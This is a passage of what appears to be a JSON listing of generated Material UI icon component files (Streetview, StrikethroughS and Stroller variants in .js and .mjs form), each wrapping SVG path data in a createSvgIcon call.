    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughS.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.85 7.08C6.85 4.37 9.45 3 12.24 3c1.64 0 3 .49 3.9 1.28.77.65 1.46 1.73 1.46 3.24h-3.01c0-.31-.05-.59-.15-.85-.29-.86-1.2-1.28-2.25-1.28-1.86 0-2.34 1.02-2.34 1.7 0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.21-.34-.54-.89-.54-1.92M21 12v-2H3v2h9.62c1.15.45 1.96.75 1.96 1.97 0 1-.81 1.67-2.28 1.67-1.54 0-2.93-.54-2.93-2.51H6.4c0 .55.08 1.13.24 1.58.81 2.29 3.29 3.3 5.67 3.3 2.27 0 5.3-.89 5.3-4.05 0-.3-.01-1.16-.48-1.94H21z\"\n}), 'StrikethroughS');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughS.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.85 7.08C6.85 4.37 9.45 3 12.24 3c1.64 0 3 .49 3.9 1.28.77.65 1.46 1.73 1.46 3.24h-3.01c0-.31-.05-.59-.15-.85-.29-.86-1.2-1.28-2.25-1.28-1.86 0-2.34 1.02-2.34 1.7 0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.21-.34-.54-.89-.54-1.92M21 12v-2H3v2h9.62c1.15.45 1.96.75 1.96 1.97 0 1-.81 1.67-2.28 1.67-1.54 0-2.93-.54-2.93-2.51H6.4c0 .55.08 1.13.24 1.58.81 2.29 3.29 3.3 5.67 3.3 2.27 0 5.3-.89 5.3-4.05 0-.3-.01-1.16-.48-1.94H21z\"\n}), 'StrikethroughS');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.24 8.75c-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81h-3.01c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25M21 12v-2H3v2h9.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21z\"\n}), 'StrikethroughSOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.24 8.75c-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81h-3.01c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25M21 12v-2H3v2h9.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21z\"\n}), 'StrikethroughSOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 7.52c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81zM20 10H4c-.55 0-1 .45-1 1s.45 1 1 1h8.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H20c.55 0 1-.45 1-1V11c0-.55-.45-1-1-1\"\n}), 'StrikethroughSRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 7.52c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81zM20 10H4c-.55 0-1 .45-1 1s.45 1 1 1h8.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H20c.55 0 1-.45 1-1V11c0-.55-.45-1-1-1\"\n}), 'StrikethroughSRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.24 8.75c-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81h-3.01c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25M21 12v-2H3v2h9.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21z\"\n}), 'StrikethroughSSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.24 8.75c-.26-.48-.39-1.03-.39-1.67 0-.61.13-1.16.4-1.67q.39-.75 1.11-1.29c.48-.35 1.05-.63 1.7-.83.66-.19 1.39-.29 2.18-.29.81 0 1.54.11 2.21.34.66.22 1.23.54 1.69.94.47.4.83.88 1.08 1.43s.38 1.15.38 1.81h-3.01c0-.31-.05-.59-.15-.85-.09-.27-.24-.49-.44-.68s-.45-.33-.75-.44c-.3-.1-.66-.16-1.06-.16-.39 0-.74.04-1.03.13s-.53.21-.72.36c-.19.16-.34.34-.44.55q-.15.315-.15.66c0 .48.25.88.74 1.21.38.25.77.48 1.41.7H7.39c-.05-.08-.11-.17-.15-.25M21 12v-2H3v2h9.62c.18.07.4.14.55.2q.555.255.87.51c.315.255.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65q.66.255 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21z\"\n}), 'StrikethroughSSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.44 5.88q.285-.225.72-.36c.29-.09.64-.13 1.03-.13.4 0 .76.06 1.06.16.3.11.55.25.75.44s.35.41.44.68c.1.26.15.54.15.85h3.01c0-.66-.13-1.26-.38-1.81s-.61-1.03-1.08-1.43c-.46-.4-1.03-.72-1.69-.94-.67-.23-1.4-.34-2.21-.34-.79 0-1.52.1-2.18.29-.65.2-1.22.48-1.7.83q-.72.54-1.11 1.29c-.27.51-.4 1.06-.4 1.67 0 .64.13 1.19.39 1.67.04.08.1.17.15.25H12c-.64-.22-1.03-.45-1.41-.7-.49-.33-.74-.73-.74-1.21q0-.345.15-.66c.15-.315.25-.39.44-.55M3 12h9.62c.18.07.4.14.55.2q.555.255.87.51c.21.17.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65s.9.3 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21V10H3z\"\n}), 'StrikethroughSTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrikethroughSTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.44 5.88q.285-.225.72-.36c.29-.09.64-.13 1.03-.13.4 0 .76.06 1.06.16.3.11.55.25.75.44s.35.41.44.68c.1.26.15.54.15.85h3.01c0-.66-.13-1.26-.38-1.81s-.61-1.03-1.08-1.43c-.46-.4-1.03-.72-1.69-.94-.67-.23-1.4-.34-2.21-.34-.79 0-1.52.1-2.18.29-.65.2-1.22.48-1.7.83q-.72.54-1.11 1.29c-.27.51-.4 1.06-.4 1.67 0 .64.13 1.19.39 1.67.04.08.1.17.15.25H12c-.64-.22-1.03-.45-1.41-.7-.49-.33-.74-.73-.74-1.21q0-.345.15-.66c.15-.315.25-.39.44-.55M3 12h9.62c.18.07.4.14.55.2q.555.255.87.51c.21.17.35.36.43.57.07.2.11.43.11.69 0 .23-.05.45-.14.66-.09.2-.23.38-.42.53s-.42.26-.71.35c-.29.08-.63.13-1.01.13-.43 0-.83-.04-1.18-.13s-.66-.23-.91-.42-.45-.44-.59-.75-.25-.76-.25-1.21H6.4c0 .55.08 1.13.24 1.58s.37.85.65 1.21c.28.35.6.66.98.92.37.26.78.48 1.22.65s.9.3 1.38.39c.48.08.96.13 1.44.13.8 0 1.53-.09 2.18-.28s1.21-.45 1.67-.79.82-.77 1.07-1.27.38-1.07.38-1.71c0-.6-.1-1.14-.31-1.61-.05-.11-.11-.23-.17-.33H21V10H3z\"\n}), 'StrikethroughSTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stroller.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"20\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-8.8 10.32C6.12 16 6.58 17 7.43 17H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7zm-7.7-2.9C13.03 3.4 11.56 3 10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89z\"\n}, \"2\")], 'Stroller');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stroller.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"20\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"20\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03l-8.8 10.32C6.12 16 6.58 17 7.43 17H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7zm-7.7-2.9C13.03 3.4 11.56 3 10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89z\"\n}, \"2\")], 'Stroller');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m9-9.34L9.6 15H15zM18.65 3C20.52 3 22 4.56 22 6.48V7h-2v-.52C20 5.66 19.42 5 18.65 5c-.68 0-1.07.59-1.65 1.27V15c0 1.1-.9 2-2 2H7.43c-.85 0-1.31-1-.76-1.65l8.8-10.32C16.11 4.27 16.99 3 18.65 3M10 5c-.65 0-1.29.09-1.91.27l1.4 1.4 1.37-1.61C10.58 5.02 10.29 5 10 5m0-2c1.56 0 3.03.4 4.3 1.1L9.6 9.61 4.72 4.72C6.21 3.64 8.03 3 10 3\"\n}), 'StrollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m9-9.34L9.6 15H15zM18.65 3C20.52 3 22 4.56 22 6.48V7h-2v-.52C20 5.66 19.42 5 18.65 5c-.68 0-1.07.59-1.65 1.27V15c0 1.1-.9 2-2 2H7.43c-.85 0-1.31-1-.76-1.65l8.8-10.32C16.11 4.27 16.99 3 18.65 3M10 5c-.65 0-1.29.09-1.91.27l1.4 1.4 1.37-1.61C10.58 5.02 10.29 5 10 5m0-2c1.56 0 3.03.4 4.3 1.1L9.6 9.61 4.72 4.72C6.21 3.64 8.03 3 10 3\"\n}), 'StrollerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8.3-13.9C13.03 3.4 11.56 3 10 3c-1.51 0-2.93.38-4.17 1.03-.59.31-.68 1.12-.22 1.58L9.6 9.6zm7.64 1.73C21.65 4.22 20.3 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03L6.71 15.31c-.55.65-.09 1.65.76 1.65H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27s1.22.52 1.33 1.21c.1.45.5.79.98.79.55 0 1-.45 1-1 0-.06-.01-.11-.02-.17\"\n}), 'StrollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m8.3-13.9C13.03 3.4 11.56 3 10 3c-1.51 0-2.93.38-4.17 1.03-.59.31-.68 1.12-.22 1.58L9.6 9.6zm7.64 1.73C21.65 4.22 20.3 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03L6.71 15.31c-.55.65-.09 1.65.76 1.65H15c1.1 0 2-.9 2-2V6.27c.58-.68.97-1.27 1.65-1.27s1.22.52 1.33 1.21c.1.45.5.79.98.79.55 0 1-.45 1-1 0-.06-.01-.11-.02-.17\"\n}), 'StrollerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M22 7v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03L5.27 17H17V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7zm-7.7-2.9C13.03 3.4 11.56 3 10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89z\"\n}), 'StrollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M6 18c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M22 7v-.52C22 4.56 20.52 3 18.65 3c-1.66 0-2.54 1.27-3.18 2.03L5.27 17H17V6.27c.58-.68.97-1.27 1.65-1.27.77 0 1.35.66 1.35 1.48V7zm-7.7-2.9C13.03 3.4 11.56 3 10 3c-1.97 0-3.79.64-5.28 1.72l4.89 4.89z\"\n}), 'StrollerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StrollerTwoTone.js",
